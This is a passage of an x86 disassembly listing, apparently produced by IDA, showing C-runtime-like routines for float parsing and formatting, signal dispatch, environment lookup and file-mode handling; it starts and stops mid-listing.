cmp bl, 30h jnz loc_4253B5 loc_425200: ; CODE XREF: sub_4250CD+9Fj ; sub_4250CD+DFj mov eax, edx jmp loc_425124 ; --------------------------------------------------------------------------- loc_425207: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo mov [ebp+var_10], edx ; jumptable 00425130 case 3 loc_42520A: ; CODE XREF: sub_4250CD+184j cmp dword_43A88C, edx jle short loc_425223 movzx eax, bl push esi push eax call sub_41F44A pop ecx pop ecx push 1 pop edx jmp short loc_425231 ; --------------------------------------------------------------------------- loc_425223: ; CODE XREF: sub_4250CD+143j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425231: ; CODE XREF: sub_4250CD+154j test eax, eax jz short loc_425253 cmp [ebp+var_4], 19h jnb short loc_42524B mov eax, [ebp+var_C] inc [ebp+var_4] loc_425241: ; DATA XREF: ___:off_4384E0o sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_42524E ; --------------------------------------------------------------------------- loc_42524B: ; CODE XREF: sub_4250CD+16Cj inc [ebp+var_8] loc_42524E: ; CODE XREF: sub_4250CD+17Cj mov bl, [edi] inc edi jmp short loc_42520A ; --------------------------------------------------------------------------- loc_425253: ; CODE XREF: sub_4250CD+166j cmp bl, byte_43A890 jnz short loc_4252C2 loc_42525B: ; CODE XREF: sub_4250CD+CCj mov eax, esi jmp loc_425124 ; --------------------------------------------------------------------------- loc_425262: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp [ebp+var_4], 0 ; jumptable 00425130 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42527B loc_42526E: ; CODE XREF: sub_4250CD+1ACj cmp bl, 30h jnz short loc_42527B dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_42526E ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4250CD+19Fj ; sub_4250CD+1A4j ... cmp dword_43A88C, edx jle short loc_425294 movzx eax, bl push esi push eax call sub_41F44A pop ecx pop ecx push 1 pop edx jmp short loc_4252A2 ; --------------------------------------------------------------------------- loc_425294: ; CODE XREF: sub_4250CD+1B4j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4252A2: ; CODE XREF: sub_4250CD+1C5j test eax, eax jz short loc_4252C2 cmp [ebp+var_4], 19h jnb short loc_4252BD mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4252BD: ; CODE XREF: sub_4250CD+1DDj mov bl, [edi] inc edi jmp short loc_42527B ; --------------------------------------------------------------------------- loc_4252C2: ; CODE XREF: sub_4250CD+18Cj ; sub_4250CD+1D7j cmp bl, 2Bh jz loc_4251D5 cmp bl, 2Dh jz loc_4251D5 jmp loc_4251AE ; --------------------------------------------------------------------------- loc_4252D9: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp dword_43A88C, edx ; jumptable 00425130 case 5 mov [ebp+var_24], edx jle short loc_4252F5 movzx eax, bl push esi push eax call sub_41F44A pop ecx pop ecx push 1 pop edx jmp short loc_425303 ; --------------------------------------------------------------------------- loc_4252F5: ; CODE XREF: sub_4250CD+215j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425303: ; CODE XREF: sub_4250CD+226j test eax, eax jz loc_4253B5 mov eax, esi jmp short loc_425366 ; --------------------------------------------------------------------------- loc_42530F: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo lea ecx, [edi-2] ; jumptable 00425130 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42531F cmp bl, 39h jle short loc_425363 loc_42531F: ; CODE XREF: sub_4250CD+24Bj movsx eax, bl sub eax, 2Bh jz short loc_42539B dec eax dec eax jz short loc_42538F sub eax, 3 jnz loc_425443 loc_425334: ; CODE XREF: sub_4250CD+2A4j push 8 jmp short loc_42539D ; --------------------------------------------------------------------------- loc_425338: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo mov [ebp+var_20], edx ; jumptable 00425130 case 8 loc_42533B: ; CODE XREF: sub_4250CD+276j cmp bl, 30h jnz short loc_425345 mov bl, [edi] inc edi jmp short loc_42533B ; --------------------------------------------------------------------------- loc_425345: ; CODE XREF: sub_4250CD+271j cmp bl, 31h jl loc_425440 cmp bl, 39h jg loc_425440 jmp short loc_425363 ; --------------------------------------------------------------------------- loc_425359: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp bl, 31h ; jumptable 00425130 case 7 jl short loc_42536C cmp bl, 39h jg short loc_42536C loc_425363: ; CODE XREF: sub_4250CD+250j ; sub_4250CD+28Aj push 9 loc_425365: ; CODE XREF: sub_4250CD+76j pop eax loc_425366: ; CODE XREF: sub_4250CD+240j dec edi jmp loc_425124 ; --------------------------------------------------------------------------- loc_42536C: ; CODE XREF: sub_4250CD+28Fj ; sub_4250CD+294j cmp bl, 30h jnz short loc_4253B5 jmp short loc_425334 ; --------------------------------------------------------------------------- loc_425373: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp [ebp+arg_18], 0 ; jumptable 00425130 case 11 jz short loc_4253A3 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_42539B dec eax dec eax jnz loc_425443 loc_42538F: ; CODE XREF: sub_4250CD+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425124 ; --------------------------------------------------------------------------- loc_42539B: ; CODE XREF: sub_4250CD+258j ; sub_4250CD+2B8j push 7 loc_42539D: ; CODE XREF: sub_4250CD+85j ; sub_4250CD+103j ... pop eax jmp loc_425124 ; --------------------------------------------------------------------------- loc_4253A3: ; CODE XREF: sub_4250CD+2AAj push 0Ah dec edi pop eax loc_4253A7: ; CODE XREF: sub_4250CD+5Dj ; sub_4250CD+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425130 case 10 jz loc_425445 jmp loc_425124 ; --------------------------------------------------------------------------- loc_4253B5: ; CODE XREF: sub_4250CD+12Dj ; sub_4250CD+238j ... mov edi, [ebp+arg_8] jmp loc_425445 ; --------------------------------------------------------------------------- loc_4253BD: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo mov [ebp+var_20], 1 ; jumptable 00425130 case 9 xor esi, esi loc_4253C6: ; CODE XREF: sub_4250CD+339j cmp dword_43A88C, 1 jle short loc_4253DE movzx eax, bl push 4 push eax call sub_41F44A pop ecx pop ecx jmp short loc_4253ED ; --------------------------------------------------------------------------- loc_4253DE: ; CODE XREF: sub_4250CD+300j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4253ED: ; CODE XREF: sub_4250CD+30Fj test eax, eax jz short loc_42540D movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_425408 mov bl, [edi] inc edi jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_425408: ; CODE XREF: sub_4250CD+334j mov esi, 1451h loc_42540D: ; CODE XREF: sub_4250CD+322j mov [ebp+var_1C], esi loc_425410: ; CODE XREF: sub_4250CD+371j cmp dword_43A88C, 1 jle short loc_425428 movzx eax, bl push 4 push eax call sub_41F44A pop ecx pop ecx jmp short loc_425437 ; --------------------------------------------------------------------------- loc_425428: ; CODE XREF: sub_4250CD+34Aj mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425437: ; CODE XREF: sub_4250CD+359j test eax, eax jz short loc_425440 mov bl, [edi] inc edi jmp short loc_425410 ; --------------------------------------------------------------------------- loc_425440: ; CODE XREF: sub_4250CD+99j ; sub_4250CD+E4j ... dec edi jmp short loc_425445 ; --------------------------------------------------------------------------- loc_425443: ; CODE XREF: sub_4250CD+261j ; sub_4250CD+2BCj mov edi, ecx loc_425445: ; CODE XREF: sub_4250CD+2DDj ; sub_4250CD+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_42552D push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425471 cmp [ebp+var_45], 5 jl short loc_425465 inc [ebp+var_45] loc_425465: ; CODE XREF: sub_4250CD+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425474 ; --------------------------------------------------------------------------- loc_425471: ; CODE XREF: sub_4250CD+38Dj mov eax, [ebp+var_C] loc_425474: ; CODE XREF: sub_4250CD+3A2j cmp [ebp+var_4], 0 jbe loc_425523 loc_42547E: ; CODE XREF: sub_4250CD+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_42548C dec [ebp+var_4] inc [ebp+var_8] jmp short loc_42547E ; --------------------------------------------------------------------------- loc_42548C: ; CODE XREF: sub_4250CD+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_425006 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4254AB neg eax loc_4254AB: ; CODE XREF: sub_4250CD+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4254B6 add eax, [ebp+arg_10] loc_4254B6: ; CODE XREF: sub_4250CD+3E4j cmp [ebp+var_24], ecx jnz short loc_4254BE sub eax, [ebp+arg_14] loc_4254BE: ; CODE XREF: sub_4250CD+3ECj cmp eax, 1450h jle short loc_4254F5 mov [ebp+var_2C], 1 loc_4254CC: ; CODE XREF: sub_4250CD+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4254D8: ; CODE XREF: sub_4250CD+454j ; sub_4250CD+45Ej cmp [ebp+var_2C], 0 jz short loc_42553E xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425553 ; --------------------------------------------------------------------------- loc_4254F5: ; CODE XREF: sub_4250CD+3F6j cmp eax, 0FFFFEBB0h jge short loc_425505 mov [ebp+var_30], 1 jmp short loc_4254CC ; --------------------------------------------------------------------------- loc_425505: ; CODE XREF: sub_4250CD+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425CB6 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4254D8 ; --------------------------------------------------------------------------- loc_425523: ; CODE XREF: sub_4250CD+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4254D8 ; --------------------------------------------------------------------------- loc_42552D: ; CODE XREF: sub_4250CD+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425553 ; --------------------------------------------------------------------------- loc_42553E: ; CODE XREF: sub_4250CD+40Fj cmp [ebp+var_30], 0 jz short loc_425553 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425553: ; CODE XREF: sub_4250CD+426j ; sub_4250CD+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4250CD endp ; --------------------------------------------------------------------------- off_42556E dd offset loc_425137 ; DATA XREF: sub_4250CD+63r dd offset loc_425186 ; jump table for switch statement dd offset loc_4251DD dd offset loc_425207 dd offset loc_425262 dd offset loc_4252D9 dd offset loc_42530F dd offset loc_425359 dd offset loc_425338 dd offset loc_4253BD dd offset loc_4253A7 dd offset loc_425373 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42559E proc near ; CODE XREF: sub_4244F9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425600 mov byte ptr [ebx+2], 2Dh jmp short loc_425604 ; --------------------------------------------------------------------------- loc_425600: ; CODE XREF: sub_42559E+5Aj mov byte ptr [ebx+2], 20h loc_425604: ; CODE XREF: sub_42559E+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42562A test edi, edi jnz short loc_42562A cmp [ebp+arg_0], edi jnz short loc_42562A loc_425615: ; CODE XREF: sub_42559E+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_425828 ; --------------------------------------------------------------------------- loc_42562A: ; CODE XREF: sub_42559E+6Cj ; sub_42559E+70j ... cmp dx, si jnz short loc_4256A9 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425643 cmp [ebp+arg_0], 0 jz short loc_425652 loc_425643: ; CODE XREF: sub_42559E+9Dj test edi, 40000000h jnz short loc_425652 push offset a1Snan ; "1#SNAN" jmp short loc_425698 ; --------------------------------------------------------------------------- loc_425652: ; CODE XREF: sub_42559E+A3j ; sub_42559E+ABj test cx, cx jz short loc_42566C cmp edi, 0C0000000h jnz short loc_42566C cmp [ebp+arg_0], 0 jnz short loc_425693 push offset a1Ind ; "1#IND" jmp short loc_42567B ; --------------------------------------------------------------------------- loc_42566C: ; CODE XREF: sub_42559E+B7j ; sub_42559E+BFj cmp edi, eax jnz short loc_425693 cmp [ebp+arg_0], 0 jnz short loc_425693 push offset a1Inf ; "1#INF" loc_42567B: ; CODE XREF: sub_42559E+CCj lea eax, [ebx+4] push eax call sub_41C620 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_42568A: ; CODE XREF: sub_42559E+109j and [ebp+var_4], 0 jmp loc_425801 ; --------------------------------------------------------------------------- loc_425693: ; CODE XREF: sub_42559E+C5j ; sub_42559E+D0j ... push offset a1Qnan ; "1#QNAN" loc_425698: ; CODE XREF: sub_42559E+B2j lea eax, [ebx+4] push eax call sub_41C620 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_42568A ; --------------------------------------------------------------------------- loc_4256A9: ; CODE XREF: sub_42559E+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425CB6 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42570A lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425A96 pop ecx pop ecx loc_42570A: ; CODE XREF: sub_42559E+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425724 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_425727 jmp loc_425615 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_42559E+173j mov edi, [ebp+arg_C] loc_425727: ; CODE XREF: sub_42559E+17Fj cmp edi, 15h jle short loc_42572F push 15h pop edi loc_42572F: ; CODE XREF: sub_42559E+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425745: ; CODE XREF: sub_42559E+1B4j lea eax, [ebp+var_10] push eax call sub_424FAB dec [ebp+arg_14] pop ecx jnz short loc_425745 test esi, esi jge short loc_42576F neg esi and esi, 0FFh jle short loc_42576F loc_425762: ; CODE XREF: sub_42559E+1CFj lea eax, [ebp+var_10] push eax call sub_424FD9 dec esi pop ecx jnz short loc_425762 loc_42576F: ; CODE XREF: sub_42559E+1B8j ; sub_42559E+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4257CC mov [ebp+arg_C], ecx loc_42577F: ; CODE XREF: sub_42559E+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_424FAB lea eax, [ebp+var_10] push eax call sub_424FAB lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_424F4D lea eax, [ebp+var_10] push eax call sub_424FAB mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_42577F mov eax, [ebp+arg_14] loc_4257CC: ; CODE XREF: sub_42559E+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_425809 loc_4257D9: ; CODE XREF: sub_42559E+248j cmp eax, ecx jb short loc_4257EC cmp byte ptr [eax], 39h jnz short loc_4257E8 mov byte ptr [eax], 30h dec eax jmp short loc_4257D9 ; --------------------------------------------------------------------------- loc_4257E8: ; CODE XREF: sub_42559E+242j cmp eax, ecx jnb short loc_4257F0 loc_4257EC: ; CODE XREF: sub_42559E+23Dj inc eax inc word ptr [ebx] loc_4257F0: ; CODE XREF: sub_42559E+24Cj inc byte ptr [eax] loc_4257F2: ; CODE XREF: sub_42559E+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425801: ; CODE XREF: sub_42559E+F0j mov eax, [ebp+var_4] loc_425804: ; CODE XREF: sub_42559E+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425809: ; CODE XREF: sub_42559E+239j ; sub_42559E+275j cmp eax, ecx jb short loc_425819 cmp byte ptr [eax], 30h jnz short loc_425815 dec eax jmp short loc_425809 ; --------------------------------------------------------------------------- loc_425815: ; CODE XREF: sub_42559E+272j cmp eax, ecx jnb short loc_4257F2 loc_425819: ; CODE XREF: sub_42559E+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_425828: ; CODE XREF: sub_42559E+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425804 sub_42559E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425831 proc near ; CODE XREF: sub_42249C+223Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_425898 dec eax dec eax jz short loc_425889 sub eax, 4 jz short loc_425889 sub eax, 3 jz short loc_425889 sub eax, 4 jz short loc_42587C sub eax, 6 jz short loc_42586F dec eax jz short loc_425862 or eax, 0FFFFFFFFh jmp loc_42595A ; --------------------------------------------------------------------------- loc_425862: ; CODE XREF: sub_425831+27j mov esi, dword_4D9A14 mov eax, offset dword_4D9A14 jmp short loc_4258A3 ; --------------------------------------------------------------------------- loc_42586F: ; CODE XREF: sub_425831+24j mov esi, dword_4D9A10 mov eax, offset dword_4D9A10 jmp short loc_4258A3 ; --------------------------------------------------------------------------- loc_42587C: ; CODE XREF: sub_425831+1Fj mov esi, dword_4D9A18 mov eax, offset dword_4D9A18 jmp short loc_4258A3 ; --------------------------------------------------------------------------- loc_425889: ; CODE XREF: sub_425831+10j ; sub_425831+15j ... push edi call sub_42595E mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4258A3 ; --------------------------------------------------------------------------- loc_425898: ; CODE XREF: sub_425831+Cj mov esi, dword_4D9A0C mov eax, offset dword_4D9A0C loc_4258A3: ; CODE XREF: sub_425831+3Cj ; sub_425831+49j ... cmp esi, 1 jnz short loc_4258AF xor eax, eax jmp loc_42595A ; --------------------------------------------------------------------------- loc_4258AF: ; CODE XREF: sub_425831+75j test esi, esi jnz short loc_4258BA push 3 call sub_41BF42 loc_4258BA: ; CODE XREF: sub_425831+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4258CC cmp edi, 0Bh jz short loc_4258CC cmp edi, 4 jnz short loc_4258F2 loc_4258CC: ; CODE XREF: sub_425831+8Fj ; sub_425831+94j mov ebx, dword_4D97EC and dword_4D97EC, 0 cmp edi, ecx jnz short loc_425921 mov edx, dword_43ACDC mov dword_43ACDC, 8Ch mov [ebp+arg_0], edx jmp short loc_4258F5 ; --------------------------------------------------------------------------- loc_4258F2: ; CODE XREF: sub_425831+99j mov ebx, [ebp+arg_0] loc_4258F5: ; CODE XREF: sub_425831+BFj cmp edi, ecx jnz short loc_425921 mov eax, dword_43ACD0 mov ecx, dword_43ACD4 add ecx, eax cmp eax, ecx jge short loc_425928 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43AC60h[edx*4] loc_425916: ; CODE XREF: sub_425831+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425916 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_425921: ; CODE XREF: sub_425831+AAj ; sub_425831+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425936 loc_425928: ; CODE XREF: sub_425831+D7j ; sub_425831+EEj push dword_43ACDC push 8 call esi pop ecx pop ecx jmp short loc_425944 ; --------------------------------------------------------------------------- loc_425936: ; CODE XREF: sub_425831+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425944 cmp edi, 4 jnz short loc_425957 loc_425944: ; CODE XREF: sub_425831+103j ; sub_425831+10Cj cmp edi, 8 mov dword_4D97EC, ebx jnz short loc_425957 mov eax, [ebp+arg_0] mov dword_43ACDC, eax loc_425957: ; CODE XREF: sub_425831+111j ; sub_425831+11Cj xor eax, eax pop ebx loc_42595A: ; CODE XREF: sub_425831+2Cj ; sub_425831+79j pop edi pop esi pop ebp retn sub_425831 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42595E proc near ; CODE XREF: sub_425831+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43ACD8 cmp dword_43AC5C, edx push esi mov eax, offset dword_43AC58 jz short loc_42598C lea esi, [ecx+ecx*2] lea esi, ds:43AC58h[esi*4] loc_425980: ; CODE XREF: sub_42595E+2Cj add eax, 0Ch cmp eax, esi jnb short loc_42598C cmp [eax+4], edx jnz short loc_425980 loc_42598C: ; CODE XREF: sub_42595E+16j ; sub_42595E+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43AC58h[ecx*4] cmp eax, ecx jnb short loc_4259A0 cmp [eax+4], edx jz short locret_4259A2 loc_4259A0: ; CODE XREF: sub_42595E+3Bj xor eax, eax locret_4259A2: ; CODE XREF: sub_42595E+40j retn sub_42595E endp ; =============== S U B R O U T I N E ======================================= sub_4259A3 proc near ; CODE XREF: sub_4246FC+23p arg_0 = dword ptr 4 cmp dword_4DADA8, 0 push ebx push esi mov esi, dword_4D973C push edi jz short loc_425A1A test esi, esi jnz short loc_4259D4 cmp dword_4D9744, esi jz short loc_425A1A call sub_425D71 test eax, eax jnz short loc_425A1A mov esi, dword_4D973C test esi, esi jz short loc_425A1A loc_4259D4: ; CODE XREF: sub_4259A3+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425A1A push ebx call sub_41B960 pop ecx mov edi, eax loc_4259E5: ; CODE XREF: sub_4259A3+6Dj mov eax, [esi] test eax, eax jz short loc_425A1A push eax call sub_41B960 cmp eax, edi pop ecx jbe short loc_425A0D mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425A0D push edi push ebx push eax call sub_425D32 add esp, 0Ch test eax, eax jz short loc_425A12 loc_425A0D: ; CODE XREF: sub_4259A3+51j ; sub_4259A3+59j add esi, 4 jmp short loc_4259E5 ; --------------------------------------------------------------------------- loc_425A12: ; CODE XREF: sub_4259A3+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425A1C ; --------------------------------------------------------------------------- loc_425A1A: ; CODE XREF: sub_4259A3+10j ; sub_4259A3+1Cj ... xor eax, eax loc_425A1C: ; CODE XREF: sub_4259A3+75j pop edi pop esi pop ebx retn sub_4259A3 endp ; =============== S U B R O U T I N E ======================================= sub_425A20 proc near ; CODE XREF: sub_424DE6+8Bp ; sub_424DE6+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DAB60 jnb short loc_425A87 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DAA60[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425A87 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425A60 and cl, 7Fh jmp short loc_425A6D ; --------------------------------------------------------------------------- loc_425A60: ; CODE XREF: sub_425A20+39j cmp [esp+4+arg_4], 4000h jnz short loc_425A7B or cl, 80h loc_425A6D: ; CODE XREF: sub_425A20+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425A7B: ; CODE XREF: sub_425A20+48j mov dword_4D9714, 16h jmp short loc_425A91 ; --------------------------------------------------------------------------- loc_425A87: ; CODE XREF: sub_425A20+Bj ; sub_425A20+27j mov dword_4D9714, 9 loc_425A91: ; CODE XREF: sub_425A20+65j or eax, 0FFFFFFFFh pop esi retn sub_425A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425A96 proc near ; CODE XREF: sub_42559E+165p ; sub_425CB6+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425C96 cmp cx, 7FFFh jnb loc_425C96 cmp dx, 0BFFDh ja loc_425C96 cmp dx, 3FBFh ja short loc_425AFF xor eax, eax jmp short loc_425B39 ; --------------------------------------------------------------------------- loc_425AFF: ; CODE XREF: sub_425A96+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425B21 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425B21 xor eax, eax cmp [esi+4], eax jnz short loc_425B23 cmp [esi], eax jnz short loc_425B23 jmp loc_425C90 ; --------------------------------------------------------------------------- loc_425B21: ; CODE XREF: sub_425A96+71j ; sub_425A96+79j xor eax, eax loc_425B23: ; CODE XREF: sub_425A96+80j ; sub_425A96+84j cmp cx, ax jnz short loc_425B46 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425B46 cmp [ebx+4], eax jnz short loc_425B46 cmp [ebx], eax jnz short loc_425B46 loc_425B39: ; CODE XREF: sub_425A96+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425CB1 ; --------------------------------------------------------------------------- loc_425B46: ; CODE XREF: sub_425A96+90j ; sub_425A96+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425B56: ; CODE XREF: sub_425A96+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425BAA add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425B72: ; CODE XREF: sub_425A96+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_424F2C add esp, 0Ch test eax, eax jz short loc_425B9D mov eax, [ebp+var_4] inc word ptr [eax] loc_425B9D: ; CODE XREF: sub_425A96+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425B72 loc_425BAA: ; CODE XREF: sub_425A96+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425B56 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425BED loc_425BC8: ; CODE XREF: sub_425A96+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425BE6 lea eax, [ebp+var_24] push eax call sub_424FAB add 